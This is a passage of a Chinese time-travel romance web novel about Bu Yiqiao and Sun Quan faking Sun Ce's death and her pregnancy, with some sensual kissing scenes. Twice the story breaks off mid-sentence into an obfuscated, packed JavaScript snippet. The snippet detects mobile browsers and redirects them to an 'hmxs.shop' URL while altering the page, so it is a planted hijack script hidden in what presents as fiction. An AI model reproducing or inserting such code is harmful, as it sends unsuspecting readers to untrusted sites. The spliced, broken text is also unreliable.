谢夫人握着那方柔软,在即将放入步一乔掌心的前一瞬,她忽地收回,将那帕子攥入自己袖中。 “我暂且替你保管。待我确定你今夜所言字字属实,再还给你。” 说罢,谢夫人未再停留,转身推门离去。 步一乔独自立在原地,伸出的手缓缓垂下。她望向门外沉沉的夜,许久,才…… “很好,非要跟我斗是吧!你以为我怕你啊!我倒要让你知道,我这十六年的书不是白读的!” “又怎么了?气成这样?” 步一乔捏紧拳头蓦然转身,见孙权不知何时已立在廊柱阴影处。 “不许插手!这是我与谢夫人之间的事。明日她若再不还我,别怪我直接去她屋里拿!” 孙权轻笑一声,缓步从暗处走出。 “你打算怎么抢?夜探香闺,还是白日明夺?” 步一乔仰脸瞪他:“反正我有我的法子!” 孙权一根一根将她的手指展开,掌心相对时,他微微收拢,握住了她的手。 “你的法子……就是把自己气成这样,然后去与人硬碰硬?” 他的掌心温暖,力道不重,却让步一乔一时忘了挣开。 “用药期间莫要动气,平心静气方能调养。” “嗯……我也没想真动气的,只是最近……似乎不太能控制情绪。” 跟怀孕了似的。 步一乔被自己冒出的想法惊到。这莫名的烦躁,这轻易被点燃的心绪,这似曾相识的状况…… 孙权目光在她脸上停留片刻,眸色深了深,却未接话,只将她的手又握紧了些。 “天冷了,该歇息了。” 步一乔狡黠地抬眸看他:“真歇息?” 孙权牵着她转身往内室走:“最近……我都没法和你……” “不会吧?!”步一乔顿住,“谢夫人说的是真的?!你——” “想什么呢。董大夫交代的,服药期间不可行房事。” 孙权无奈笑着走回她面前,抬手轻弹了下她额头。 “你脑子里整日都在琢磨些什么?” “服药期间……那我岂不是……半年内都没法碰你了?!” “嗯。” 孙权应得平静,步一乔却瞪圆了眼睛,脸上那点狡黠顿时垮了下去。 看着她这毫不掩饰的反应,孙权眼底笑意更深,抬手揉了揉她发顶。 “且忍忍。待病愈,我全都补给你。” 半年呐! 这对一个见着他便心头发痒、情难自抑的人来说,是何等煎熬! 步一乔哀哀地瞅着他,忽然冒出一句:“这比听到说你‘不举’还教人难过……” 话音刚落,她自己先愣了,随即耳根倏地烧了起来。 这话说得,也太不知羞了! 孙权显然也没料到她会这般直白,怔了一瞬,继而低笑出声。 “原来……你这么想我。” “一个月啊!咱们可将近一个月没见了!你难道不想我?” “想,无时无刻不在想。约莫是习惯了没有你的日子,一个月比起那几年……似乎,也没那么难熬了。” 房门紧闭,孙权退开些许,在昏黄的烛光下端详她的脸。顿了顿,指尖抚过她颊边一缕碎发。 “可算长了些肉,没先前那么瘦了。气色也好了不少。” “医仙可每天盯着我喝药吃肉呢,不胖都——我们可什么都没发生啊!我是清白的!” “嗯,我信你。” 步一乔笑眼弯弯,顺势蹭了蹭他掌心,转而又失落起来。 “这可不是一件好事……” “为何?” “往后……定是聚少离多。我若总这般离不开你,可不是什么好事。” 她顿了顿,唇角弯起极淡却苦涩的弧度。 “情深不寿……我怕自己,熬不到与你白首的那一日。” 孙权凝视着她的双眼,指尖在她颊边停留了片刻,缓缓滑落,托起她的下颌。 “又说这种话。你我之间,没有‘聚少离多’,只有‘来日方长’。当初的问题,我能再问一遍吗?” “什么问题?” “我余生的五十年,有你吗?” 步一乔心头一阵酸涩,她忽然伸手勾住他的脖颈,踮起脚,毫不犹豫将自己送了上去。 两片温软不由分说地压上他的唇,舌尖却先在唇缝间迟疑地一探,然后不管不顾地抵开齿关,长驱直入。 她的舌在他口中辗转,时而急切地勾缠他的舌尖,时而又缓下来,一遍遍抚过他上颚敏感的纹路。 呼吸渐渐乱了,分不清是谁的呜咽,漾在交缠的唇舌之间。 “我果然……等不了半年……一刻都等不了……” 孙权的指腹擦过她被吻得湿润微肿的唇瓣,喉结滚动,声音沙哑得厉害。 “……不可以。” “求你了……就一次……就一次好不好……” 他闭了闭眼,只能将她按进怀里,下颌抵着她发顶,深深吸了口气。 “不行……会伤了你。” “就一次……不会的。难道你要眼睁睁看着我……这般求你,也不肯给吗?” 步一乔在他怀里抬起泪湿的眼睫,盈满欲望的双眸,真成了吃人的精怪。 孙权身形微僵,仓皇后退,几乎是狼狈地转过身去,不敢再看她一眼。 “我比谁都想。可……绝不能。” 这次,说什么也得保住她与腹中的孩子。无论如何,都要让长子在来年降生,母子平安。 半晌,屋内再没动静。孙权回头望去,人竟委屈得安安静静地流了满脸泪。她甚至没有抬手去擦,就那样直直地看着他。 孙权几乎是踉跄着冲过去,一把将人揽进怀里。手忙脚乱地去擦她脸上的泪,可那泪水却越擦越多,一点呜咽都没有。 “别哭。是我不好,都是我的错。” 孙权叹息着低下头,唇贴着她湿漉漉的眼睫,一遍遍低声哄着: “不哭了,等你身子好了,想要多少次都给你。都补给你。” 步一乔仍是不语,只将脸更深地埋进他怀中,肩膀细细地颤着。孙权抱着她,手臂收得用力,感受她所有委屈。 许久,怀中传来带着浓重鼻音的嘟囔: “那……那你今晚……得一直吻我,吻到我满意为止……” 孙权怔了一瞬,随即低低笑出声来。他捧起她的脸,看她哭红的鼻尖和湿漉漉的眼睛,心头又软又涨。 “好。吻到你满意。” 说罢,他从她微颤的眼睫开始,细细吻去每一寸泪迹,沿着鼻梁,落到仍有些红肿的唇瓣。 所有积压的思念、不安与期盼,都揉进这潮湿而漫长的深吻里。 他的吻从她唇上移开,顺着濡湿的颊畔下滑,托住她后颈的手指微微施力,让她仰起头,露出颈线。温热的舌尖便沿着弧度一路蜿蜒,在脉搏跳动处反复流连,吮出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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顾不得许多,步一乔匆匆将看火之事托付给旁人,几乎是跌撞着冲出膳房,朝着前院疾奔。 步一乔冲进议事厅时,孙策正坐于上首,底下是孙权、周瑜、张昭等人。恰好商议完正事,一群人谈笑中。见她闯进来,几道目光齐刷刷落在了她身上。 “冒、冒昧打扰……奴婢……有万分紧急之事,需即刻禀报二公子。” 孙权下意识便要起身,眼角余光扫过在场众人,又强自按捺住。 孙策并未深究,只挥了挥手道:“既是要紧事,仲谋且去。” 直到绕至议事厅后僻静的回廊,步一乔停下转过身,抓住孙权的手臂。 “我这个月的月事迟了半月有余。而且在灶前煮汤时,闻到药味就……” 她说不下去,只抬手掩住口,恶心感又涌了上来。 “怎么办,孙权……谢夫人那里还没动静呢!我、我怎么能……先有了?!” 孙权看着步一乔微微发颤的肩,轻笑着将她揽进怀里。 “别怕,有我。” 怀里的人见孙权眉眼含笑,气得往他脚上一踩。 “都怪你!这到底怎么回事!怎么我都有了,谢夫人那儿却还没动静?!” “许是因为,我始终只与你一人同房罢。” 步一乔睁大了眼,怔了好一会儿。 “……啊?!什么叫只与我……那、那洞房花烛夜呢?在庐江一个月,一次都没有过?!” 孙权给予了肯定地回答。 “不是……这……啊?!你这……直接扼杀你长子在胚胎里啊!” 孙权却不以为意的样子,抚上步一乔的小腹。 “不是在这里吗?” “啊?!” 这人眉眼间的神色,为何透着一种胜券在握、意料之中的从容? 步一乔忽然揪住孙权的衣襟,逼视那双含笑的眸子。 “孙、仲、谋!你又在打什么算盘!” 孙权握着她的手,道:“还记得之前与你说的‘春耕’吗?” 步一乔迟疑地点头。 “重要的是长子,重要的是孙氏血脉。此乃万全之法,待你平安生下这孩子,届时母亲不会再为难你。” “你这模样……倒像连孩子的名字都想好了。” “嗯。夫人要与我印证对错么?” “……你说。” “若为长子,便名‘登’;若是女儿,唤作‘鲁班’。夫人以为如何?” 步一乔望着孙权,片刻,竖起拇指。 “恭喜二公子回答正确,一字不差。但……你以为我会夸你吗!什么馊主意!我们当初说好的,要顺着历史走,你这是要把水搅浑啊!” 孙权却只是握住她戳来的手指,包入掌心。 “放心吧夫人,史书工笔,定是一字不差,按照你所熟知的去写。” 步一乔闻言,吓得从他掌心抽回手,接连后退了两步。 “你还有后手?!孙仲谋,你到底……还藏着多少步棋?” “夫人放心交于我吧。别忘了眼下更重要的,是另一件事。” 今日,四月初一。 距离四月初四,还有三天。 104. 霜天雪霁 四月初二。 步一乔急步穿过廊下。 擦肩而过的侍女驻足道:“主公正准备进山狩猎,此刻在厢房与乔夫人说话。” “多谢。”她略一沉吟,又唤住对方,“等一等,可曾见到二公子?” “方才见二公子自军营回来,往书房方向去了。” 步一乔颔首致谢。 去见孙策之前,她必须先与孙权商定最后的事。 书房的门虚掩着。 “孙权!”她推门而入。 屋内,孙权正立在窗边细看密函,闻声抬头望来。 “伯符要进山了。” “是今日?” “应该是……” 孙权走近两步,掌心落在她发顶安慰。 “一定不会有事的。” “我还是没法眼睁睁看着他去……我要不和他一起去吧!” “不行,太危险。” “那是突袭!若我能早些发现,以伯符的身手,定能——” “那历史又会改写。” 步一乔咬住下唇。 孙权指尖轻抬,抚开她几乎咬出血痕的唇瓣:“不会有事的。这次,一定会如你所愿的。药在何处?” “藏在你书架第三格的第五本书后面。” “若真是今日,我们须早作安排。车马行囊皆已齐备,唯独大嫂那里,你想好如何相告了么?” 孙策若吞下药,就会忘记所有,连同大乔也一起忘了。桥公与小乔仍在故土,此去南行,怕是此生再难重逢。 “她会同意的。为了伯符活着……她定会同意的。”步一乔轻声说,像在说服自己。 孙权握住她的手,给足她勇气和信心。 “有何计划?” “我想等伯符服药昏沉时再告知大嫂……可我没有把握。” “我陪你一起。” “嗯!” 窗外传来远山的鸟鸣,一声长,一声短。 孙权的手没有松开。他的目光落在步一乔不安的神情上。 “其实有件事,我一直想问你。时至今日,若历史真能改变,你最想留住什么?” “最想留住的……是所有人都能好好活着。” 孙家人个个早逝,独留孙仲谋一人负重前行,孤身走了整整五十年。她只愿多一人陪在他身边,不愿见他在本该团圆之时,身旁空无至亲。 孙权眼底浮起笑意。他看懂了她的未尽之言,正欲将她拥入怀中,门外急促的脚步声由远及近。 “二公子!”亲兵在门外急报,“主公已整装完毕,半刻后出发,临行前有事同您交代。” 两人同时起身。 步一乔下意识要去抓孙权的衣袖,却在空中顿住。孙权反手握住她的手腕,力道很稳。 “莫慌。要与我同去么?” “……好。” 孙权松开她的手腕,转而牵起她的手。掌心相贴的温度,比任何言语都更令人安心。 “仲谋。” “嗯?” “若他服药后……真的什么都忘了,连你也忘了……” “那便重新认识。他是孙伯符。我是孙仲谋。他是兄,我是弟,这层血脉,总不会变。生离,总比死别好。” 步一乔心头一涩,又蓦然一暖。 还未至前庭,已见孙策一身轻甲立于阶前,阳光落在他肩甲上,反射出耀目的光。大乔安静地立在他身侧半步处,手中捧着护腕,眉眼温柔。 “来了?”孙策转头,目光先落在孙权脸上,又转向步一乔,笑意更深,“一乔也来了?月余不见,气色倒是好了不少。” 步一乔喉间骤然发紧。她觉得自己再听孙策说一句,眼泪便会决堤。 “主公定要说话算话,平安归来……唔……” 终究还是哭了。吓坏了在场的所有人。 孙权立即侧身上前,扶住她的肩将她轻轻转向自己,用衣袖掩住她的脸。 “别哭,别哭。” “孙权……他……呜——” “别哭。兄长看着呢。” 步一乔用力点头,把脸更深地埋进他袖间。布料很快洇湿了一小片。 那边孙策已朗声笑起来:“这丫头,昨日还风风火火地冲进议事厅,今日倒娇气起来了。” 大乔将护腕递给他,柔声道:“一乔也是担心你,独自进山,莫要疏忽大意。” 孙策低头系着护腕,忽然抬眼:“仲谋。” “兄长。” “今夜莫再理那些文书了。等我猎些野味回来,一同用膳!” 孙权颔首:“好。等兄长归来。” 孙策最后检查了腰间佩剑,转身欲行时,步一乔从孙权袖间抬起头。 “主公!” 孙策驻足回望。 步一乔向前一步,从怀中取出一个青布小囊,双手捧上:“这是……我跟着阿茹学绣工时,自己缝的。愿主公随身带着,图个平安。” 孙策挑眉,接过来在掌心掂了掂,笑了:“难得你有这份心,我带上。”他将小囊塞进胸前甲内,拍了拍。 “定要……平安归来……” 见她泪水涟涟的模样,孙策反倒有些失笑。 “瞧这阵仗,我倒不像是进山打猎,反像要出征远战了?” 孙策笑着摇摇头,最后朝孙权投去一个“交给你了”的眼神,便转身大步离去。 步一乔的抽噎声渐止,孙权的手始终扶着她,另一只手轻拍她的背。 大乔静望孙策的方向,许久,才收回目光,落在步一乔身上。她走过来,从袖中取出绣帕,温柔地替步一乔拭去颊边泪痕。 “莫要太过伤怀,伯符他会平安的。” 步一乔抬起泪眼,望着大乔眉眼,酸楚中升起愧意。她张了张口,却不知该说什么。 孙权适时开口:“大嫂,兄长既已出发,我与一乔还有些事宜需商议。晚膳前再来向您请安。” 大乔颔首,忧心步一乔却终究未再多言,只温声道:“去吧。” * 回到书房,门扉合上。 步一乔脱力般靠在门板上,方才强撑的力气瞬间流走。她抬手遮住眼睛,声音闷闷地从指缝中漏出: “我是不是……太沉不住气了……若叫人起疑,觉着我早有预知……” 孙权走到她面前,拉下她的手:“无碍。人之常情,无人会怪你。” 步一乔抬起微红的眼眶看他。 “孙权……” “嗯,我在。” “抱抱……” “抱抱。” 孙权张开双臂将她轻拥入怀。 步一乔把脸埋在他肩头,攥紧他背后的衣料。 “我害怕。” “怕什么?” “怕一切终究是徒劳……怕我们改变不了任何事……” 毕竟那药是真是假,尚无亲眼所见的实例。严白虎是否真为这药所救,不敢确定。 怕终究天命难违。 “那就逆了这天命。我说兄长不会有事,那便不会有事。” 他说得平静,眼底却映着窗外透进来的光,亮得惊人。 步一乔怔怔看着他,忽然极轻地笑了一下。 “你这话……倒有几分像伯符了。” “本就是他弟弟。”孙权松开她,指尖拂过她眼角,“哭够了?” “嗯。” “那便来做正事。”他转身走向书架,“药在第三格——” 话音戛然而止。 步一乔察觉异样,跟上前去:“怎么了?” 孙权的手停在半空。书架第三格,第五本书后—— 空空如也。 药不见了。 “怎么可能?!我分明放在这里的!这书房也不曾有人——” 她似乎猜到是谁拿走了。 “我去找她!” 孙权叫都叫不住,人已经风风火火地跑走。 * 【孙权厢房】 “谢夫人!” 步一乔见门开着直接闯进去。谢夫人正端坐镜前梳妆,闻声指尖一顿,却未回头。 “身为侍女,你是否太过放肆?” “请夫人将药瓶与绣帕还予我。” 谢夫人冷笑着起身,缓步走向步一乔。 “那是在我夫君房中寻得之物,凭何给你?” “那是我的私物。恳请夫人归还。” “你的?”谢夫人轻笑一声,“在这府里,凡在仲谋房中寻着的,便该由我做主。” 步一乔向前一步,直接摊开掌心:“请夫人,还给我。” “我若偏不还呢?” “那便休论什么夫人不夫人,莫怪我动手硬取。” “硬取?你连我藏在何处都不知晓,如何取?” “纵使将这座府邸翻个底朝天,我也定要取回!” 谢夫人静默片刻,发觉特殊。 “那到底是什么药?你告诉我实情,我就还给你。” 步一乔怀疑了一下,不过选择相信她。 “是董奉医仙所赠,可治百病。” “百病……”谢夫人低喃。 “请夫人说话算话,还给我。” 谢夫人转身取来一物递上,但只给了绣帕。 “我说还,没说两样都还。” “你——不要欺人太甚!” “你以什么身份同我这般说话?我好歹是府中夫人,你又算什么!这药,不是为仲谋求的,却藏在他书房,倒是好算计。” “有人比二公子更需要此药。” “我夫君已那般模样,怎就不需要了!难道要我一辈子都没法跟仲谋行一次房事吗!” 步一乔闭了闭眼。 她实在不愿在此多费唇舌,更怕对方执念深重,误了大事。 反手合门,落锁,将钥匙收入怀中,转身便开始四下翻找。 “你做什么!” “找药。”步一乔头也未抬,“你藏在何处?” “你不过一个婢女!” “不说我便自己找。你想坐在这儿看着,也行。” 步一乔动作利落,毫不拖沓。妆台抽屉、镜匣暗格、枕下褥边,目之所及所及皆细细翻找。 谢夫人起初还僵立原地,很快便按捺不住上前拉扯:“住手!你怎敢——” “夫人若不想闹得人尽皆知,便安静些。” 她忽然顿住。 墙角有只红木衣箱上了锁,步一乔毫不犹豫径直走去,扣住箱沿。 “别碰那个!” 箱盖掀开的瞬间,药瓶正躺在几件叠齐的衣裳之上。 步一乔刚伸手去取,谢夫人却扑来,死死攥住她的手腕。 “这是我唯一的指望了!你若拿走,我今后……” “夫人。您当真以为,二公子是身疾么?” 谢夫人目瞪口呆地望着她。 “医仙赠药时曾言:此药虽治百病,但会忘记一切。夫人原来是想让二公子将一切都忘得一干二净,占为己有啊。” “我没有!休得胡言!” “要他忘尽平生所学、胸中韬略,在江东做个浑噩度日之人么?这便是夫人所求的夫君?” 步一乔话音落下,厢房内一片死寂。 谢夫人攥着她手腕的指节再没使力。那双总是含嗔带怨的眼里,第一次清晰地映出惶恐。 “你……懂什么。这江东,这孙府,我不过是他们为仲谋聘来的‘谢氏之女’。可仲谋他心里,何曾有过我分毫?我不过想与心悦之人做一回真正的夫妻,我有什么错……” 步一乔任她握着手腕,没有抽回。 “夫人没有错。只是这药,治不了您心里的病。” “可它能治他的身子——” “也不能。”步一乔望进她眼底,“这药独独救不了心病。二公子的隐疾,是心病所致。” 谢夫人怔在原地,缓缓松开手,眼中只余下茫茫然的空寂。 “……心病?” “此药愈身,不愈心。二公子所困的,从来不是身疾。还记得他十一年前入山林遇见那位姑娘的事吗?虽然大家都不愿相信,但那真的是山野精怪。那天,真把二公子的‘心’,给吃掉了。从此,不许他碰任何人。” 谢夫人踉跄半步,手扶妆台才站稳。 “所以……就算他吃了这药,醒来也不会……不会看我一眼,不会碰我一下?” 步一乔沉默片刻,终是点了头。 谢夫人忽然笑了,笑得眼角沁出泪来。 “原来我争的、藏的、盼的……从头到尾,竟是一场空。我跪在父亲面前,执意嫁入孙家……究竟是为哪般……” “为了完成您此生最重要的使命吧。男子而已,夫人不必如此伤怀。” “你不懂……你不懂……” 谢夫人一步一踉跄地走回床榻,侧躺下蜷缩起身子。 “拿着药快走……” “夫人你……没事吧?” “别管我……” 步一乔握紧手中药瓶,默然片刻,低声道:“过些时日,我再来看您。” * 四月初三。 头顶阴云密布,步一乔站在孙府门口,久久等不来人或消息。 孙策迟迟不归,孙权派去寻人的卫兵也迟迟不归。 大乔撑了伞来,没想步一乔也在。 “一乔在等谁?” “在等……主公。” “说来昨日,一乔为何格外对夫君上心?晨间还哭得那般伤感?” “因为心下总有不安。前几日主公虽诛许贡,却放走了他三名门客……我只怕,江湖恩怨,不会就此了结。” 话音方落,长街尽头骤然传来马蹄疾响。 一匹马驮着两人,自雨幕中踉跄冲来。是先前派去的卫兵,而他身前伏着的,正是孙策! 马未停稳,卫兵已嘶声喊道:“快!主公中箭了!” 步一乔与大乔脸色骤变,同时抢上前去。 孙策左肩深深嵌着一支羽箭,血色浸透半身衣甲,人已陷入半昏。 大乔手中纸伞落地,雨水瞬间打湿了她的鬓发与肩头。她却恍若未觉,只伸手轻触孙策冰冷的脸颊,指尖颤抖。 “医官!快叫医官——” * 府中瞬间灯火通明,人影奔走。孙权闻讯急步从内院冲出,见到兄长模样,少年老成的脸上第一次露出惊惶。 “兄长!” “仲谋,速寻董大夫来救伯符!” “长嫂冷静,董大夫上月已离吴郡……兄长定会无恙。” 大乔身姿一晃,跌坐于地,被匆匆赶至的小乔扶住肩头轻声安抚。 步一乔趁乱将孙权拉至廊柱之后。 “即刻下令封锁城门,全城搜捕三名带伤剑客,他们必未走远。” “已派去了,不会放走他们。你……可还好?” 步一乔这才发觉自己全身都在颤抖。 “我害怕……我担心那药不起作用……” 所幸孙策中的是肩伤,可箭上竟淬了毒。一波未平一波又起,根本无法冷静下来。 雨越下越大。 步一乔站在廊下,看着大夫一位接着一位进入孙策的内室,看着大乔踉跄却坚决地跟进去,看着廊檐雨水如瀑倾泻。 孙权的手在袖中紧握成拳。 “不会有事的……兄长征战多年,什么伤没受过。董大夫也说了包治百病……一定不会有事。” “可那不是病,是毒啊……” 步一乔侧目看他,这个总以沉稳示人的少年,此刻也映着压抑不住的恐惧。 孙权再少年老成,也不过是个尚未及冠的弟弟啊。 这次出来的不是大夫,而是大乔。她面色苍白,脚步虚浮。小乔想扶她,被她轻轻推开。 “箭已取出。毒……也清了大半。” 廊下所有人不约而同地松了口气。 “但……”大乔望向孙权,“但大夫说,箭伤虽未及要害,可那毒过于阴狠,伤了元气。伯符他……高热不退,神志不清。大夫言明,唯有董先生半年一制的药可解。” 刚落下的心又悬了起来。 “可董先生已离江东,岂不是……” “二公子节哀,为主公,预备后事吧。” “夫人节哀。” 这些官员,什么都未尽力,便已判下生死。 可也怨不得他们。这是东汉末年,多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999848|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少性命,本就悬于一线。 步一乔几次欲言,喉间却干涩发紧,忍不住掩口连咳数声。咳着咳着,又泛起恶心,小腹也隐隐坠痛起来。 孙权察觉,伸手扶住她肩头。见四下惶然,上前一步。 “长嫂可否借一步说话。” * 僻静房内,大乔坐在床榻边,难以置信地听完孙权道出所有。步一乔还是说不出一句话。 “此话……当真?” “千真万确。但此药虽能救命,却也伤本。兄长往后……怕是离不得人悉心照料了。” 大乔忽然笑了。 “伯符若是醒来,听见你要‘另寻他人’照顾他,怕是要气得再晕过去一次。” 步一乔终于找回了自己的声音,干涩地开口:“夫人不怪我们……隐瞒?” 大乔抬手拭去眼角湿意,望向窗外夜色。 “我只庆幸,这乱世里……还留了一扇窗。” 她回过头,一如既往的温婉。 “只是仲谋,你若放我们走,往后这江东的重担……便都要你一人担着了。” 孙权沉默片刻,撩起衣摆,朝着榻上的孙策,端端正正跪下,伏身下去,额头触地。 “兄长教我护我十余载。如今,该换我了护他余生安康。” 大乔静静看着他伏低的背脊,她没有去扶,只是轻声问:“何时动身?” “明日天亮之前。四月初四。” “若有人问起伯符身子何在,该如何解释?” 孙权只道:“无需交代。无人敢越过我,开棺验看。” * 服下药后,至出发前,孙策的高烧已退,人却仍未醒来。 行囊备妥,孙权亲自将兄长负在背上,往后门马车走去。 “车夫会送你们至会稽南境。那里有一处山溪边的茅屋,往后……兄长就托付给长嫂了。” 孙氏势力多在吴郡、丹阳与会稽北境。而南部远离征战之地,后世不少文人僧侣也曾择此隐居。 这是步一乔给的意见。 大乔颔首应下,看向步一乔。 “妹妹,就拜托你了。” “夫人放心,我不会让小乔有分毫损伤。” 轮声轧轧,马车很快没入晨雾之中。 孙权立在门前,直至再也望不见,才缓缓转身,不由分说抱住步一乔。 “我们成功了……孙权,我终于……救下伯符了……” “嗯,我知道你定能做到。” “我做到了……”她喃喃重复,身子忽地一软,整个人向下坠去。 “一乔!” 孙权将她打横抱起,触手之处衣衫竟已被冷汗浸透。 “一乔?!” 纤细的手抬起捂住孙权的嘴。 “我只是有点累……还有禾清夫人之事,谢夫人也……” 说完,那只手便无力地垂落下去。 孙权无奈苦笑。 “傻姑娘,光想着别人,也多想想自己和腹中的孩子啊。” * 【孙府,灵堂】 孙策重伤不治,溘然长逝;大乔当夜失踪,不知所踪;吴夫人悲恸几度昏厥,病势转沉;周瑜取消巴郡之行,举哀守丧;北上许都,自此搁置。 孙权一身缟素,跪于灵堂正中。满堂文武皆低首垂泪,泣声压抑。 香火袅袅,缭绕在漆黑的棺椁之上。孙权垂着眼,目光落在自己按在膝头的手,想起昨日孙策昏厥前立下的“遗嘱”。 那时内室烛火摇曳,孙策靠坐在榻上,面色灰败,气息微弱,眸光却锐利如旧。他抬手,攥住孙权的手。 “仲谋,听好……江东……交给你了。” “兄长——” “北拒曹操,西联刘表,内抚山越……子布(张昭)可托内事,公瑾……可任外事。若事不决……问公瑾。” 他手指微微发抖,却仍不肯松开。 “还有……母亲年事已高,莫让她……多忧心。” 孙权哽咽着一个字也答不出,只能重重点头。 孙策望着他,忽然极轻地笑了一下。 “别怕,仲谋。你比兄长……稳得住。这江东……该轮到你了。兄长答应你的事……终究食言了……” 最后几个字,几乎只是气音。那只紧攥的手,终于缓缓松开,滑落榻边。 …… 灵堂内压抑的抽泣将孙权拽回当下。 他抬起眼,看向前方漆黑的棺木。那里是空的。兄长此刻赶赴南境茅檐的途中,一切安好。 可这堂中的悲恸是真的,江东的危机是真的,眼前群臣试探而惶然的目光,也是真的。 孙权缓缓吸了一口气,重新挺直脊背。 “诸君,兄长生前有嘱:内事托张公,外事付周郎。权年少德薄,今后……还赖诸君共扶江东。” 他起身,转向张昭与周瑜,郑重一揖。 张昭怔了怔,老泪纵横,伏身还礼。周瑜一身素服立于武将列首,此时抬眼望向孙权,四目相对,默然垂首,还了一礼。 孙权直起身,走回灵前,亲手为长明灯添了一勺油。 火光跳动着,映亮少年的侧脸。 兄长的“遗嘱”字字在心。而真正的嘱托,早在更早以前就已刻下。 在孙策每一次为孙权讲解舆图时,在孙策将第一柄小弓放在二弟手中时,在孙策笑着说“仲谋,你看这江山多辽阔”时。 窗外暮色渐沉。属于孙策的时代,在世人眼中已于今日落幕。 而属于孙权的时代—— 他抬起眼,望向堂外渐暗的天色,无声握紧了掌心。 正悄然揭开序幕。 * 是夜,孙权独自跪在灵堂守夜,步一乔提了盏灯来寻他,在他身旁一同跪坐。 “入夜凉,怎么出来了?” “担心你一人,来陪你。” 她将灯搁在一旁,微光映亮两人之间的方寸之地。 “我今日下令时,手在袖中发抖。我怕他们看出我的不安,怕他们觉得……我不配坐这个位置。” 孙权自嘲般扯了扯嘴角,步一乔轻轻握住他冰凉的手。 “可他们没有看出来,他们只看见了一个冷静下令的二公子。孙权,你比你想象中更像一位主公。” 无论从前还是现在,他一直做得很好。 夜风穿堂而过,长明灯的火苗摇晃了一下。 孙权静默片刻,忽然问道:“你说……兄长此刻在做什么?” “大概正被大乔按着喝药,皱着眉头嫌苦吧。然后一面苦恼,为何这么漂亮的姑娘说是我夫人?天底下真有这么好的事儿?” 说完,两人都笑了。 “真想看看兄长那副样子。” “会有机会的,”她靠在他肩上,轻声说,“等一切都安定下来,我们悄悄去看他。” 孙权没有说话,只是将她的手拢入掌心。 灵堂外,巡夜士兵的脚步声由远及近,又渐渐远去。 在这偌大而空旷的灵堂里,在这必须演给天下人看的悲恸之中。至少此刻,还有这一盏灯,一只手,和一个不必伪装的角落。 “一乔。” “嗯?” “一定要让登儿平安降生。” “嗯,一定。” 如此,我才能名正言顺地给你名分。 * 长夜渐深,步一乔身子渐沉,不多时便倚在他身侧轻轻打起瞌睡。却仍强撑着不愿离去,眼皮几度开合,倔强地要陪他守完这一夜。 孙权无奈,只得轻扶她靠在自己膝上:“睡会儿罢,我在这里。” 她含糊应了一声,终于抵不住倦意,沉沉睡去。 便是这时,朱然的身影,与远处天际一声闷雷的轰鸣,同时闯入了孙权的视线。 不知何时来的,又在那里立了多久。 步一乔被雷声惊醒,见到朱然慌忙坐直身子,理了理微乱的鬓发。 “义封?这个时辰,为何在此?” 朱然从阴影中走出几步,面容被烛火照亮半边。 “来给主公守夜。也……来问主公一些事儿。” “何事?” “这棺……是空的吧。” 105. 镜中花 烛火摇曳。灵堂死寂,雨声渐起。 孙权依旧跪坐在原处,只望着那盏长明灯。 “义封何出此言?” 朱然向前又走了两步,在孙权另一侧跪坐下。 “昨日天明之前,我至后门,见三人扶一裹着斗篷的男子上车。身形……与大公子极似。” 步一乔的呼吸一滞。 孙权终于侧过脸,看向朱然。 “所以你便断定,棺中无人?” “不。令我起疑的,是今日灵前,主公下令时,眼中无悲。这不像丧兄之人该有的眼神。倒像……早有准备。” 雨声渐密,敲在瓦上如万马踏过。 “义封,若我说是,你待如何?” “自会守口如瓶,但我需知实情。” “你想知道什么?” “昨日乔夫人当着众人面说了,只有董大夫半年一制的神药可救他……是么?他把药给了你,然后,骗了我?” 步一乔手心渗出冷汗:“朱然大人,此事——” “不是。” 孙权截断步一乔的话,告知了答案。 朱然追问:“当真不是?” “不是。我如今身为主公,不可在众人面前流露软弱。纵使心中泣血,百官亦不许我落一滴泪。抱歉,义封……我不想在兄长灵前,说这些没骨气的话。” 朱然看着孙权的侧脸,良久,他吐出一口气,看似如释重负,实则绝望彻底。 “我明白了。今夜之言,出君之口,入我之耳,世间再无第四人知。只可怜我的清儿,到最后,也没人肯救她。” 朱然起身欲走,却又停住,背对着灵堂,望着天地。 步一乔隐隐感觉不对,忙小心问:“禾清夫人……她怎么了?” 朱然没有回头。 “半个时辰前……她走了。在苦痛挣扎中,哭着……在我怀里……走了……” 话音落下,他一步踏入雨中。 “我的清儿……还是离开我了……我无法救她……我无能为力……” 身影瞬间被浓重的夜色吞没,只余下渐远的脚步声,和仿佛永无止息的滂沱雨声。 步一乔想追出去,却被孙权按住。 “世上本无两全法,此刻追出去,可就摆明了告诉义封,我们和董大夫‘骗’了他。义封是明白人,他能想通的。” “可他这个样子……真的不会做出什么傻事吗?” “义封不会的。况且,禾清临走前,已将一切都安排妥当。” * 【朱府灵堂】 素帷低垂,白烛冷照,比孙府的更静。 朱然跪在棺椁旁,身边跪着一位素衣女子,低垂着头,发间只簪一朵白花。 据孙权说,这姑娘与禾清有八分相似。是禾清病重时亲自为朱然相看、纳进府的妾室。她也曾劝朱然将她扶正,他只摇头: “正妻之位,永远是清儿的。” 原本朱然是拒绝纳妾的,大抵是禾清执拗,加之相貌相似吧。 孙权身着素衣踏进灵堂,他走到朱然身侧,同样跪坐下来。两人沉默地望着那具更小、更寂寥的棺木。 “她走前,可还安详?” “很安详。她说,总算……不必再疼了。” “幼时她总说,惟愿此生无痛。” “是啊……如今,总算解脱了。” 步一乔跪坐在他们身后,忽然掩面恸哭。 “对不起……对不起……我……没有办法……” 